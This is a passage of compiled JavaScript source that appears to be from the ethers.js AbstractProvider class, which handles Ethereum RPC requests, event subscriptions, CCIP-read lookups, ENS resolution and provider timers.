filter = {\n topics: ((event.topics || []).map((t) => {\n if (t == null) {\n return null;\n }\n if (Array.isArray(t)) {\n return concisify(t.map((t) => t.toLowerCase()));\n }\n return t.toLowerCase();\n }))\n };\n if (event.address) {\n const addresses = [];\n const promises = [];\n const addAddress = (addr) => {\n if (isHexString(addr)) {\n addresses.push(addr);\n }\n else {\n promises.push((async () => {\n addresses.push(await resolveAddress(addr, provider));\n })());\n }\n };\n if (Array.isArray(event.address)) {\n event.address.forEach(addAddress);\n }\n else {\n addAddress(event.address);\n }\n if (promises.length) {\n await Promise.all(promises);\n }\n filter.address = concisify(addresses.map((a) => a.toLowerCase()));\n }\n return { filter, tag: getTag(\"event\", filter), type: \"event\" };\n }\n assertArgument(false, \"unknown ProviderEvent\", \"event\", _event);\n}\nfunction getTime() { return (new Date()).getTime(); }\nconst defaultOptions = {\n cacheTimeout: 250,\n pollingInterval: 4000\n};\n/**\n * An **AbstractProvider** provides a base class for other sub-classes to\n * implement the [[Provider]] API by normalizing input arguments and\n * formatting output results as well as tracking events for consistent\n * behaviour on an eventually-consistent network.\n */\nexport class AbstractProvider {\n #subs;\n #plugins;\n // null=unpaused, true=paused+dropWhilePaused, false=paused\n #pausedState;\n #destroyed;\n #networkPromise;\n #anyNetwork;\n #performCache;\n // The most recent block number if running an event or -1 if no \"block\" event\n #lastBlockNumber;\n #nextTimer;\n #timers;\n #disableCcipRead;\n #options;\n /**\n * Create a new **AbstractProvider** connected to %%network%%, or\n * use the various network detection capabilities to discover the\n * [[Network]] if necessary.\n */\n constructor(_network, options) {\n this.#options = Object.assign({}, defaultOptions, options || {});\n if (_network === \"any\") {\n this.#anyNetwork = true;\n this.#networkPromise = null;\n }\n else if (_network) {\n const network = Network.from(_network);\n this.#anyNetwork = false;\n this.#networkPromise = Promise.resolve(network);\n setTimeout(() => { this.emit(\"network\", network, null); }, 0);\n }\n else {\n this.#anyNetwork = false;\n this.#networkPromise = null;\n }\n this.#lastBlockNumber = -1;\n this.#performCache = new Map();\n this.#subs = new Map();\n this.#plugins = new Map();\n this.#pausedState = null;\n this.#destroyed = false;\n this.#nextTimer = 1;\n this.#timers = new Map();\n this.#disableCcipRead = false;\n }\n get pollingInterval() { return this.#options.pollingInterval; }\n /**\n * Returns ``this``, to allow an **AbstractProvider** to implement\n * the [[ContractRunner]] interface.\n */\n get provider() { return this; }\n /**\n * Returns all the registered plug-ins.\n */\n get plugins() {\n return Array.from(this.#plugins.values());\n }\n /**\n * Attach a new plug-in.\n */\n attachPlugin(plugin) {\n if (this.#plugins.get(plugin.name)) {\n throw new Error(`cannot replace existing plugin: ${plugin.name} `);\n }\n this.#plugins.set(plugin.name, plugin.connect(this));\n return this;\n }\n /**\n * Get a plugin by name.\n */\n getPlugin(name) {\n return (this.#plugins.get(name)) || null;\n }\n /**\n * Prevent any CCIP-read operation, regardless of whether requested\n * in a [[call]] using ``enableCcipRead``.\n */\n get disableCcipRead() { return this.#disableCcipRead; }\n set disableCcipRead(value) { this.#disableCcipRead = !!value; }\n // Shares multiple identical requests made during the same 250ms\n async #perform(req) {\n const timeout = this.#options.cacheTimeout;\n // Caching disabled\n if (timeout < 0) {\n return await this._perform(req);\n }\n // Create a tag\n const tag = getTag(req.method, req);\n let perform = this.#performCache.get(tag);\n if (!perform) {\n perform = this._perform(req);\n this.#performCache.set(tag, perform);\n setTimeout(() => {\n if (this.#performCache.get(tag) === perform) {\n this.#performCache.delete(tag);\n }\n }, timeout);\n }\n return await perform;\n }\n /**\n * Resolves to the data for executing the CCIP-read operations.\n */\n async ccipReadFetch(tx, calldata, urls) {\n if (this.disableCcipRead || urls.length === 0 || tx.to == null) {\n return null;\n }\n const sender = tx.to.toLowerCase();\n const data = calldata.toLowerCase();\n const errorMessages = [];\n for (let i = 0; i < urls.length; i++) {\n const url = urls[i];\n // URL expansion\n const href = url.replace(\"{sender}\", sender).replace(\"{data}\", data);\n // If no {data} is present, use POST; otherwise GET\n //const json: string | null = (url.indexOf(\"{data}\") >= 0) ? null: JSON.stringify({ data, sender });\n //const result = await fetchJson({ url: href, errorPassThrough: true }, json, (value, response) => {\n // value.status = response.statusCode;\n // return value;\n //});\n const request = new FetchRequest(href);\n if (url.indexOf(\"{data}\") === -1) {\n request.body = { data, sender };\n }\n this.emit(\"debug\", { action: \"sendCcipReadFetchRequest\", request, index: i, urls });\n let errorMessage = \"unknown error\";\n // Fetch the resource...\n let resp;\n try {\n resp = await request.send();\n }\n catch (error) {\n // ...low-level fetch error (missing host, bad SSL, etc.),\n // so try next URL\n errorMessages.push(error.message);\n this.emit(\"debug\", { action: \"receiveCcipReadFetchError\", request, result: { error } });\n continue;\n }\n try {\n const result = resp.bodyJson;\n if (result.data) {\n this.emit(\"debug\", { action: \"receiveCcipReadFetchResult\", request, result });\n return result.data;\n }\n if (result.message) {\n errorMessage = result.message;\n }\n this.emit(\"debug\", { action: \"receiveCcipReadFetchError\", request, result });\n }\n catch (error) { }\n // 4xx indicates the result is not present; stop\n assert(resp.statusCode < 400 || resp.statusCode >= 500, `response not found during CCIP fetch: ${errorMessage}`, \"OFFCHAIN_FAULT\", { reason: \"404_MISSING_RESOURCE\", transaction: tx, info: { url, errorMessage } });\n // 5xx indicates server issue; try the next url\n errorMessages.push(errorMessage);\n }\n assert(false, `error encountered during CCIP fetch: ${errorMessages.map((m) => JSON.stringify(m)).join(\", \")}`, \"OFFCHAIN_FAULT\", {\n reason: \"500_SERVER_ERROR\",\n transaction: tx, info: { urls, errorMessages }\n });\n }\n /**\n * Provides the opportunity for a sub-class to wrap a block before\n * returning it, to add additional properties or an alternate\n * sub-class of [[Block]].\n */\n _wrapBlock(value, network) {\n return new Block(formatBlock(value), this);\n }\n /**\n * Provides the opportunity for a sub-class to wrap a log before\n * returning it, to add additional properties or an alternate\n * sub-class of [[Log]].\n */\n _wrapLog(value, network) {\n return new Log(formatLog(value), this);\n }\n /**\n * Provides the opportunity for a sub-class to wrap a transaction\n * receipt before returning it, to add additional properties or an\n * alternate sub-class of [[TransactionReceipt]].\n */\n _wrapTransactionReceipt(value, network) {\n return new TransactionReceipt(formatTransactionReceipt(value), this);\n }\n /**\n * Provides the opportunity for a sub-class to wrap a transaction\n * response before returning it, to add additional properties or an\n * alternate sub-class of [[TransactionResponse]].\n */\n _wrapTransactionResponse(tx, network) {\n return new TransactionResponse(formatTransactionResponse(tx), this);\n }\n /**\n * Resolves to the Network, forcing a network detection using whatever\n * technique the sub-class requires.\n *\n * Sub-classes **must** override this.\n */\n _detectNetwork() {\n assert(false, \"sub-classes must implement this\", \"UNSUPPORTED_OPERATION\", {\n operation: \"_detectNetwork\"\n });\n }\n /**\n * Sub-classes should use this to perform all built-in operations. All\n * methods sanitizes and normalizes the values passed into this.\n *\n * Sub-classes **must** override this.\n */\n async _perform(req) {\n assert(false, `unsupported method: ${req.method}`, \"UNSUPPORTED_OPERATION\", {\n operation: req.method,\n info: req\n });\n }\n // State\n async getBlockNumber() {\n const blockNumber = getNumber(await this.#perform({ method: \"getBlockNumber\" }), \"%response\");\n if (this.#lastBlockNumber >= 0) {\n this.#lastBlockNumber = blockNumber;\n }\n return blockNumber;\n }\n /**\n * Returns or resolves to the address for %%address%%, resolving ENS\n * names and [[Addressable]] objects and returning if already an\n * address.\n */\n _getAddress(address) {\n return resolveAddress(address, this);\n }\n /**\n * Returns or resolves to a valid block tag for %%blockTag%%, resolving\n * negative values and returning if already a valid block tag.\n */\n _getBlockTag(blockTag) {\n if (blockTag == null) {\n return \"latest\";\n }\n switch (blockTag) {\n case \"earliest\":\n return \"0x0\";\n case \"finalized\":\n case \"latest\":\n case \"pending\":\n case \"safe\":\n return blockTag;\n }\n if (isHexString(blockTag)) {\n if (isHexString(blockTag, 32)) {\n return blockTag;\n }\n return toQuantity(blockTag);\n }\n if (typeof (blockTag) === \"bigint\") {\n blockTag = getNumber(blockTag, \"blockTag\");\n }\n if (typeof (blockTag) === \"number\") {\n if (blockTag >= 0) {\n return toQuantity(blockTag);\n }\n if (this.#lastBlockNumber >= 0) {\n return toQuantity(this.#lastBlockNumber + blockTag);\n }\n return this.getBlockNumber().then((b) => toQuantity(b + blockTag));\n }\n assertArgument(false, \"invalid blockTag\", \"blockTag\", blockTag);\n }\n /**\n * Returns or resolves to a filter for %%filter%%, resolving any ENS\n * names or [[Addressable]] object and returning if already a valid\n * filter.\n */\n _getFilter(filter) {\n // Create a canonical representation of the topics\n const topics = (filter.topics || []).map((t) => {\n if (t == null) {\n return null;\n }\n if (Array.isArray(t)) {\n return concisify(t.map((t) => t.toLowerCase()));\n }\n return t.toLowerCase();\n });\n const blockHash = (\"blockHash\" in filter) ? filter.blockHash : undefined;\n const resolve = (_address, fromBlock, toBlock) => {\n let address = undefined;\n switch (_address.length) {\n case 0: break;\n case 1:\n address = _address[0];\n break;\n default:\n _address.sort();\n address = _address;\n }\n if (blockHash) {\n if (fromBlock != null || toBlock != null) {\n throw new Error(\"invalid filter\");\n }\n }\n const filter = {};\n if (address) {\n filter.address = address;\n }\n if (topics.length) {\n filter.topics = topics;\n }\n if (fromBlock) {\n filter.fromBlock = fromBlock;\n }\n if (toBlock) {\n filter.toBlock = toBlock;\n }\n if (blockHash) {\n filter.blockHash = blockHash;\n }\n return filter;\n };\n // Addresses could be async (ENS names or Addressables)\n let address = [];\n if (filter.address) {\n if (Array.isArray(filter.address)) {\n for (const addr of filter.address) {\n address.push(this._getAddress(addr));\n }\n }\n else {\n address.push(this._getAddress(filter.address));\n }\n }\n let fromBlock = undefined;\n if (\"fromBlock\" in filter) {\n fromBlock = this._getBlockTag(filter.fromBlock);\n }\n let toBlock = undefined;\n if (\"toBlock\" in filter) {\n toBlock = this._getBlockTag(filter.toBlock);\n }\n if (address.filter((a) => (typeof (a) !== \"string\")).length ||\n (fromBlock != null && typeof (fromBlock) !== \"string\") ||\n (toBlock != null && typeof (toBlock) !== \"string\")) {\n return Promise.all([Promise.all(address), fromBlock, toBlock]).then((result) => {\n return resolve(result[0], result[1], result[2]);\n });\n }\n return resolve(address, fromBlock, toBlock);\n }\n /**\n * Returns or resolves to a transaction for %%request%%, resolving\n * any ENS names or [[Addressable]] and returning if already a valid\n * transaction.\n */\n _getTransactionRequest(_request) {\n const request = copyRequest(_request);\n const promises = [];\n [\"to\", \"from\"].forEach((key) => {\n if (request[key] == null) {\n return;\n }\n const addr = resolveAddress(request[key], this);\n if (isPromise(addr)) {\n promises.push((async function () { request[key] = await addr; })());\n }\n else {\n request[key] = addr;\n }\n });\n if (request.blockTag != null) {\n const blockTag = this._getBlockTag(request.blockTag);\n if (isPromise(blockTag)) {\n promises.push((async function () { request.blockTag = await blockTag; })());\n }\n else {\n request.blockTag = blockTag;\n }\n }\n if (promises.length) {\n return (async function () {\n await Promise.all(promises);\n return request;\n })();\n }\n return request;\n }\n async getNetwork() {\n // No explicit network was set and this is our first time\n if (this.#networkPromise == null) {\n // Detect the current network (shared with all calls)\n const detectNetwork = (async () => {\n try {\n const network = await this._detectNetwork();\n this.emit(\"network\", network, null);\n return network;\n }\n catch (error) {\n if (this.#networkPromise === detectNetwork) {\n this.#networkPromise = null;\n }\n throw error;\n }\n })();\n this.#networkPromise = detectNetwork;\n return (await detectNetwork).clone();\n }\n const networkPromise = this.#networkPromise;\n const [expected, actual] = await Promise.all([\n networkPromise,\n this._detectNetwork() // The actual connected network\n ]);\n if (expected.chainId !== actual.chainId) {\n if (this.#anyNetwork) {\n // The \"any\" network can change, so notify listeners\n this.emit(\"network\", actual, expected);\n // Update the network if something else hasn't already changed it\n if (this.#networkPromise === networkPromise) {\n this.#networkPromise = Promise.resolve(actual);\n }\n }\n else {\n // Otherwise, we do not allow changes to the underlying network\n assert(false, `network changed: ${expected.chainId} => ${actual.chainId} `, \"NETWORK_ERROR\", {\n event: \"changed\"\n });\n }\n }\n return expected.clone();\n }\n async getFeeData() {\n const network = await this.getNetwork();\n const getFeeDataFunc = async () => {\n const { _block, gasPrice, priorityFee } = await resolveProperties({\n _block: this.#getBlock(\"latest\", false),\n gasPrice: ((async () => {\n try {\n const value = await this.#perform({ method: \"getGasPrice\" });\n return getBigInt(value, \"%response\");\n }\n catch (error) { }\n return null;\n })()),\n priorityFee: ((async () => {\n try {\n const value = await this.#perform({ method: \"getPriorityFee\" });\n return getBigInt(value, \"%response\");\n }\n catch (error) { }\n return null;\n })())\n });\n let maxFeePerGas = null;\n let maxPriorityFeePerGas = null;\n // These are the recommended EIP-1559 heuristics for fee data\n const block = this._wrapBlock(_block, network);\n if (block && block.baseFeePerGas) {\n maxPriorityFeePerGas = (priorityFee != null) ? priorityFee : BigInt(\"1000000000\");\n maxFeePerGas = (block.baseFeePerGas * BN_2) + maxPriorityFeePerGas;\n }\n return new FeeData(gasPrice, maxFeePerGas, maxPriorityFeePerGas);\n };\n // Check for a FeeDataNetWorkPlugin\n const plugin = network.getPlugin(\"org.ethers.plugins.network.FetchUrlFeeDataPlugin\");\n if (plugin) {\n const req = new FetchRequest(plugin.url);\n const feeData = await plugin.processFunc(getFeeDataFunc, this, req);\n return new FeeData(feeData.gasPrice, feeData.maxFeePerGas, feeData.maxPriorityFeePerGas);\n }\n return await getFeeDataFunc();\n }\n async estimateGas(_tx) {\n let tx = this._getTransactionRequest(_tx);\n if (isPromise(tx)) {\n tx = await tx;\n }\n return getBigInt(await this.#perform({\n method: \"estimateGas\", transaction: tx\n }), \"%response\");\n }\n async #call(tx, blockTag, attempt) {\n assert(attempt < MAX_CCIP_REDIRECTS, \"CCIP read exceeded maximum redirections\", \"OFFCHAIN_FAULT\", {\n reason: \"TOO_MANY_REDIRECTS\",\n transaction: Object.assign({}, tx, { blockTag, enableCcipRead: true })\n });\n // This came in as a PerformActionTransaction, so to/from are safe; we can cast\n const transaction = copyRequest(tx);\n try {\n return hexlify(await this._perform({ method: \"call\", transaction, blockTag }));\n }\n catch (error) {\n // CCIP Read OffchainLookup\n if (!this.disableCcipRead && isCallException(error) && error.data && attempt >= 0 && blockTag === \"latest\" && transaction.to != null && dataSlice(error.data, 0, 4) === \"0x556f1830\") {\n const data = error.data;\n const txSender = await resolveAddress(transaction.to, this);\n // Parse the CCIP Read Arguments\n let ccipArgs;\n try {\n ccipArgs = parseOffchainLookup(dataSlice(error.data, 4));\n }\n catch (error) {\n assert(false, error.message, \"OFFCHAIN_FAULT\", {\n reason: \"BAD_DATA\", transaction, info: { data }\n });\n }\n // Check the sender of the OffchainLookup matches the transaction\n assert(ccipArgs.sender.toLowerCase() === txSender.toLowerCase(), \"CCIP Read sender mismatch\", \"CALL_EXCEPTION\", {\n action: \"call\",\n data,\n reason: \"OffchainLookup\",\n transaction: transaction,\n invocation: null,\n revert: {\n signature: \"OffchainLookup(address,string[],bytes,bytes4,bytes)\",\n name: \"OffchainLookup\",\n args: ccipArgs.errorArgs\n }\n });\n const ccipResult = await this.ccipReadFetch(transaction, ccipArgs.calldata, ccipArgs.urls);\n assert(ccipResult != null, \"CCIP Read failed to fetch data\", \"OFFCHAIN_FAULT\", {\n reason: \"FETCH_FAILED\", transaction, info: { data: error.data, errorArgs: ccipArgs.errorArgs }\n });\n const tx = {\n to: txSender,\n data: concat([ccipArgs.selector, encodeBytes([ccipResult, ccipArgs.extraData])])\n };\n this.emit(\"debug\", { action: \"sendCcipReadCall\", transaction: tx });\n try {\n const result = await this.#call(tx, blockTag, attempt + 1);\n this.emit(\"debug\", { action: \"receiveCcipReadCallResult\", transaction: Object.assign({}, tx), result });\n return result;\n }\n catch (error) {\n this.emit(\"debug\", { action: \"receiveCcipReadCallError\", transaction: Object.assign({}, tx), error });\n throw error;\n }\n }\n throw error;\n }\n }\n async #checkNetwork(promise) {\n const { value } = await resolveProperties({\n network: this.getNetwork(),\n value: promise\n });\n return value;\n }\n async call(_tx) {\n const { tx, blockTag } = await resolveProperties({\n tx: this._getTransactionRequest(_tx),\n blockTag: this._getBlockTag(_tx.blockTag)\n });\n return await this.#checkNetwork(this.#call(tx, blockTag, _tx.enableCcipRead ? 0 : -1));\n }\n // Account\n async #getAccountValue(request, _address, _blockTag) {\n let address = this._getAddress(_address);\n let blockTag = this._getBlockTag(_blockTag);\n if (typeof (address) !== \"string\" || typeof (blockTag) !== \"string\") {\n [address, blockTag] = await Promise.all([address, blockTag]);\n }\n return await this.#checkNetwork(this.#perform(Object.assign(request, { address, blockTag })));\n }\n async getBalance(address, blockTag) {\n return getBigInt(await this.#getAccountValue({ method: \"getBalance\" }, address, blockTag), \"%response\");\n }\n async getTransactionCount(address, blockTag) {\n return getNumber(await this.#getAccountValue({ method: \"getTransactionCount\" }, address, blockTag), \"%response\");\n }\n async getCode(address, blockTag) {\n return hexlify(await this.#getAccountValue({ method: \"getCode\" }, address, blockTag));\n }\n async getStorage(address, _position, blockTag) {\n const position = getBigInt(_position, \"position\");\n return hexlify(await this.#getAccountValue({ method: \"getStorage\", position }, address, blockTag));\n }\n // Write\n async broadcastTransaction(signedTx) {\n const { blockNumber, hash, network } = await resolveProperties({\n blockNumber: this.getBlockNumber(),\n hash: this._perform({\n method: \"broadcastTransaction\",\n signedTransaction: signedTx\n }),\n network: this.getNetwork()\n });\n const tx = Transaction.from(signedTx);\n if (tx.hash !== hash) {\n throw new Error(\"@TODO: the returned hash did not match\");\n }\n return this._wrapTransactionResponse(tx, network).replaceableTransaction(blockNumber);\n }\n async #getBlock(block, includeTransactions) {\n // @TODO: Add CustomBlockPlugin check\n if (isHexString(block, 32)) {\n return await this.#perform({\n method: \"getBlock\", blockHash: block, includeTransactions\n });\n }\n let blockTag = this._getBlockTag(block);\n if (typeof (blockTag) !== \"string\") {\n blockTag = await blockTag;\n }\n return await this.#perform({\n method: \"getBlock\", blockTag, includeTransactions\n });\n }\n // Queries\n async getBlock(block, prefetchTxs) {\n const { network, params } = await resolveProperties({\n network: this.getNetwork(),\n params: this.#getBlock(block, !!prefetchTxs)\n });\n if (params == null) {\n return null;\n }\n return this._wrapBlock(params, network);\n }\n async getTransaction(hash) {\n const { network, params } = await resolveProperties({\n network: this.getNetwork(),\n params: this.#perform({ method: \"getTransaction\", hash })\n });\n if (params == null) {\n return null;\n }\n return this._wrapTransactionResponse(params, network);\n }\n async getTransactionReceipt(hash) {\n const { network, params } = await resolveProperties({\n network: this.getNetwork(),\n params: this.#perform({ method: \"getTransactionReceipt\", hash })\n });\n if (params == null) {\n return null;\n }\n // Some backends did not backfill the effectiveGasPrice into old transactions\n // in the receipt, so we look it up manually and inject it.\n if (params.gasPrice == null && params.effectiveGasPrice == null) {\n const tx = await this.#perform({ method: \"getTransaction\", hash });\n if (tx == null) {\n throw new Error(\"report this; could not find tx or effectiveGasPrice\");\n }\n params.effectiveGasPrice = tx.gasPrice;\n }\n return this._wrapTransactionReceipt(params, network);\n }\n async getTransactionResult(hash) {\n const { result } = await resolveProperties({\n network: this.getNetwork(),\n result: this.#perform({ method: \"getTransactionResult\", hash })\n });\n if (result == null) {\n return null;\n }\n return hexlify(result);\n }\n // Bloom-filter Queries\n async getLogs(_filter) {\n let filter = this._getFilter(_filter);\n if (isPromise(filter)) {\n filter = await filter;\n }\n const { network, params } = await resolveProperties({\n network: this.getNetwork(),\n params: this.#perform({ method: \"getLogs\", filter })\n });\n return params.map((p) => this._wrapLog(p, network));\n }\n // ENS\n _getProvider(chainId) {\n assert(false, \"provider cannot connect to target network\", \"UNSUPPORTED_OPERATION\", {\n operation: \"_getProvider()\"\n });\n }\n async getResolver(name) {\n return await EnsResolver.fromName(this, name);\n }\n async getAvatar(name) {\n const resolver = await this.getResolver(name);\n if (resolver) {\n return await resolver.getAvatar();\n }\n return null;\n }\n async resolveName(name) {\n const resolver = await this.getResolver(name);\n if (resolver) {\n return await resolver.getAddress();\n }\n return null;\n }\n async lookupAddress(address) {\n address = getAddress(address);\n const node = namehash(address.substring(2).toLowerCase() + \".addr.reverse\");\n try {\n const ensAddr = await EnsResolver.getEnsAddress(this);\n const ensContract = new Contract(ensAddr, [\n \"function resolver(bytes32) view returns (address)\"\n ], this);\n const resolver = await ensContract.resolver(node);\n if (resolver == null || resolver === ZeroAddress) {\n return null;\n }\n const resolverContract = new Contract(resolver, [\n \"function name(bytes32) view returns (string)\"\n ], this);\n const name = await resolverContract.name(node);\n // Failed forward resolution\n const check = await this.resolveName(name);\n if (check !== address) {\n return null;\n }\n return name;\n }\n catch (error) {\n // No data was returned from the resolver\n if (isError(error, \"BAD_DATA\") && error.value === \"0x\") {\n return null;\n }\n // Something reerted\n if (isError(error, \"CALL_EXCEPTION\")) {\n return null;\n }\n throw error;\n }\n return null;\n }\n async waitForTransaction(hash, _confirms, timeout) {\n const confirms = (_confirms != null) ? _confirms : 1;\n if (confirms === 0) {\n return this.getTransactionReceipt(hash);\n }\n return new Promise(async (resolve, reject) => {\n let timer = null;\n const listener = (async (blockNumber) => {\n try {\n const receipt = await this.getTransactionReceipt(hash);\n if (receipt != null) {\n if (blockNumber - receipt.blockNumber + 1 >= confirms) {\n resolve(receipt);\n //this.off(\"block\", listener);\n if (timer) {\n clearTimeout(timer);\n timer = null;\n }\n return;\n }\n }\n }\n catch (error) {\n console.log(\"EEE\", error);\n }\n this.once(\"block\", listener);\n });\n if (timeout != null) {\n timer = setTimeout(() => {\n if (timer == null) {\n return;\n }\n timer = null;\n this.off(\"block\", listener);\n reject(makeError(\"timeout\", \"TIMEOUT\", { reason: \"timeout\" }));\n }, timeout);\n }\n listener(await this.getBlockNumber());\n });\n }\n async waitForBlock(blockTag) {\n assert(false, \"not implemented yet\", \"NOT_IMPLEMENTED\", {\n operation: \"waitForBlock\"\n });\n }\n /**\n * Clear a timer created using the [[_setTimeout]] method.\n */\n _clearTimeout(timerId) {\n const timer = this.#timers.get(timerId);\n if (!timer) {\n return;\n }\n if (timer.timer) {\n clearTimeout(timer.timer);\n }\n this.#timers.delete(timerId);\n }\n /**\n * Create a timer that will execute %%func%% after at least %%timeout%%\n * (in ms). If %%timeout%% is unspecified, then %%func%% will execute\n * in the next event loop.\n *\n * [Pausing](AbstractProvider-paused) the provider will pause any\n * associated timers.\n */\n _setTimeout(_func, timeout) {\n if (timeout == null) {\n timeout = 0;\n }\n const timerId = this.#nextTimer++;\n const func = () => {\n this.#timers.delete(timerId);\n _func();\n };\n if (this.paused) {\n this.#timers.set(timerId, { timer: null, func, time: timeout });\n }\n else {\n const timer = setTimeout(func, timeout);\n this.#timers.set(timerId, { timer, func, time: getTime() });\n }\n return timerId;\n }\n /**\n * Perform %%func%% on each subscriber.\n */\n _forEachSubscriber(func) {\n for (const sub of this.#subs.values()) {\n func(sub.subscriber);\n }\n }\n /**\n * Sub-classes may override this to customize subscription\n * implementations.\n */\n _getSubscriber(sub) {\n switch (sub.type) {\n case \"debug\":\n case \"error\":\n case \"network\":\n return new UnmanagedSubscriber(sub.type);\n case \"block\": {\n const subscriber = new PollingBlockSubscriber(this);\n subscriber.pollingInterval = this.pollingInterval;\n return subscriber;\n }\n case \"safe\":\n case \"finalized\":\n return new PollingBlockTagSubscriber(this, sub.type);\n case \"event\":\n return new PollingEventSubscriber(this, sub.filter);\n case \"transaction\":\n return new PollingTransactionSubscriber(this, sub.hash);\n case \"orphan\":\n return new PollingOrphanSubscriber(this, sub.filter);\n }\n throw new Error(`unsupported event: ${sub.type}`);\n }\n /**\n * If a [[Subscriber]] fails and needs to replace itself, this\n * method may be used.\n *\n * For example, this is used for providers when using the\n * ``eth_getFilterChanges`` method, which can return null if state\n * filters are not supported by the backend, allowing the Subscriber\n * to swap in a [[PollingEventSubscriber]].\n */\n _recoverSubscriber(oldSub, newSub) {\n for (const sub of this.#subs.values()) {\n if (sub.subscriber === oldSub) {\n if (sub.started) {\n sub.subscriber.stop();\n }\n sub.subscriber = newSub;\n if (sub.started) {\n newSub.start();\n }\n if (this.#pausedState != null) {\n newSub.pause(this.#pausedState);\n }\n break;\n }\n }\n }\n async #hasSub(event, emitArgs) {\n let sub = await getSubscription(event, this);\n // This is a log that is removing an existing log; we actually want\n // to emit an orphan event for the removed log\n if (sub.type === \"event\" && emitArgs && emitArgs.length > 0 && emitArgs[0].removed === true) {\n sub = await getSubscription({ orphan: \"drop-log\", log: emitArgs[0] }, this);\n }\n return this.#subs.get(sub.tag) || null;\n }\n async #getSub(event) {\n const subscription = await getSubscription(event, this);\n // Prevent tampering with our tag in any subclass' _getSubscriber\n const tag = subscription.tag;\n let sub = this.#subs.get(tag);\n if (!sub) {\n const subscriber = this._getSubscriber(subscription);\n const addressableMap = new WeakMap();\n const nameMap = new Map();\n sub = { subscriber, tag, addressableMap, nameMap, started: false, listeners: [] };\n this.#subs.set(tag, sub);\n }\n return sub;\n }\n async on(event, listener) {\n const sub = await this.#getSub(event);\n sub.listeners.push({ listener, once: false });\n if (!sub.started) {\n sub.subscriber.start();\n sub.started = true;\n if (this.#pausedState != null) {\n sub.subscriber.pause(this.#pausedState);\n }\n }\n return this;\n }\n async once(event, listener) {\n const sub = await this.#getSub(event);\n sub.listeners.push({ listener, once: true });\n if (!sub.started) {\n sub.subscriber.start();\n sub.started = true;\n if (this.#pausedState != null) {\n sub.subscriber.pause(this.#pausedState);\n }\n }\n return this;\n }\n async emit(event, ...args) {\n const sub = await this.#hasSub(event, args);\n // If there is not subscription or if a recent emit removed\n // the last of them (which also deleted the sub) do nothing\n if (!sub || sub.listeners.length === 0) {\n return false;\n }\n ;\n const count = sub.listeners.length;\n sub.listeners = sub.listeners.filter(({ listener, once }) => {\n const payload = new EventPayload(this, (once ? null : listener), event);\n try {\n listener.call(this, ...args, payload);\n }\n catch (error) { }\n return !once;\n });\n if (sub.listeners.length === 0) {\n if (sub.started) {\n sub.subscriber.stop();\n }\n this.#subs.delete(sub.tag);\n }\n return (count > 0);\n }\n async listenerCount(event) {\n if (event) {\n const sub = await this.#hasSub(event);\n if (!sub) {\n return 0;\n }\n return sub.listeners.length;\n }\n let total = 0;\n for (const { listeners } of this.#subs.values()) {\n total += listeners.length;\n }\n return total;\n }\n async listeners(event) {\n if (event) {\n const sub = await this.#hasSub(event);\n if (!sub) {\n return [];\n }\n return sub.listeners.map(({ listener }) => listener);\n }\n let result = [];\n for (const { listeners } of this.#subs.values()) {\n result = result.concat(listeners.map(({ listener }) => listener));\n }\n return result;\n }\n async off(event, listener) {\n const sub = await this.#hasSub(event);\n if (!sub) {\n return this;\n }\n if (listener) {\n const index = sub.listeners.map(({ listener }) => listener).indexOf(listener);\n if (index >= 0) {\n sub.listeners.splice(index, 1);\n }\n }\n if (!listener || sub.listeners.length === 0) {\n if (sub.started) {\n sub.subscriber.stop();\n }\n this.#subs.delete(sub.tag);\n }\n return this;\n }\n async removeAllListeners(event) {\n if (event) {\n const { tag, started, subscriber } = await this.#getSub(event);\n if (started) {\n subscriber.stop();\n }\n this.#subs.delete(tag);\n }\n else {\n for (const [tag, { started, subscriber }] of this.#subs) {\n if (started) {\n subscriber.stop();\n }\n this.#subs.delete(tag);\n }\n }\n return this;\n }\n // Alias for \"on\"\n async addListener(event, listener) {\n return await this.on(event, listener);\n }\n // Alias for \"off\"\n async removeListener(event, listener) {\n return this.off(event, listener);\n }\n /**\n * If this provider has been destroyed using the [[destroy]] method.\n *\n * Once destroyed, all resources are reclaimed, internal event loops\n * and timers are cleaned up and no further requests may be sent to\n * the provider.\n */\n get destroyed() {\n return this.#destroyed;\n }\n /**\n * Sub-classes may use this to shutdown any sockets or release their\n * resources and reject any pending requests.\n *\n * Sub-classes **must** call ``super.destroy()``.\n */\n destroy() {\n // Stop all listeners\n this.removeAllListeners();\n // Shut down all tiemrs\n for (const timerId of this.#timers.keys()) {\n this._clearTimeout(timerId);\n }\n this.#destroyed = true;\n }\n /**\n * Whether the provider is currently paused.\n *\n * A paused provider will not emit any events, and generally should\n * not make any requests to the network, but that is up to sub-classes\n * to manage.\n *\n * Setting ``paused = true`` is identical to calling ``.pause(false)``,\n * which will buffer any events that occur while paused until the\n * provider is unpaused.\n */\n get paused() { return (this.#pausedState != null); }\n set paused(pause) {\n if (!!pause === this.paused) {\n return;\n }\n if (this.paused) {\n this.resume();\n }\n else {\n this.pause(false);\n }\n }\n /**\n * Pause the provider. If %%dropWhilePaused%%, any events that occur\n * while paused are dropped, otherwise all events will be emitted once\n * the provider is unpaused.\n */\n pause(dropWhilePaused) {\n this.#lastBlockNumber = -1;\n if (this.#pausedState != null) {\n if (this.#pausedState == !!dropWhilePaused) {\n return;\n }\n assert(false, \"cannot change pause type; resume first\", \"UNSUPPORTED_OPERATION\", {\n operation: \"pause\"\n });\n }\n this._forEachSubscriber((s) => s.pause(dropWhilePaused));\n this.#pausedState = !!dropWhilePaused;\n for (const timer of this.#timers.values()) {\n // Clear the timer\n if (timer.timer) {\n clearTimeout(timer.timer);\n }\n // Remaining time needed for when we become unpaused\n timer.time = getTime() - timer.time;\n }\n }\n /**\n * Resume the provider.\n */\n resume() {\n if (this.#pausedState == null) {\n return;\n }\n this._forEachSubscriber((s) => s.resume());\n this.#pausedState = null;\n for (const timer of this.#timers.values()) {\n // Remaining time when we were paused\n let timeout = timer.time;\n if (timeout < 0) {\n timeout = 0;\n }\n // Start time (in cause paused, so we con compute remaininf time)\n timer.time = getTime();\n // Start the timer\n setTimeout(timer.func, timeout);\n }\n }\n}\nfunction _parseString(result, start) {\n try {\n const bytes = _parseBytes(result, start);\n if (bytes) {\n return toUtf8String(bytes);\n }\n }\n catch (error) { }\n return null;\n}\nfunction _parseBytes(result, start) {\n if (result === \"0x\") {\n return null;\n }\n try {\n const offset = getNumber(dataSlice(result, start, start + 32));\n const length = getNumber(dataSlice(result, offset, offset + 32));\n return dataSlice(result, offset + 32, offset + 32 + length);\n }\n catch (error) { }\n return null;\n}\nfunction numPad(value) {\n const result = toBeArray(value);\n if 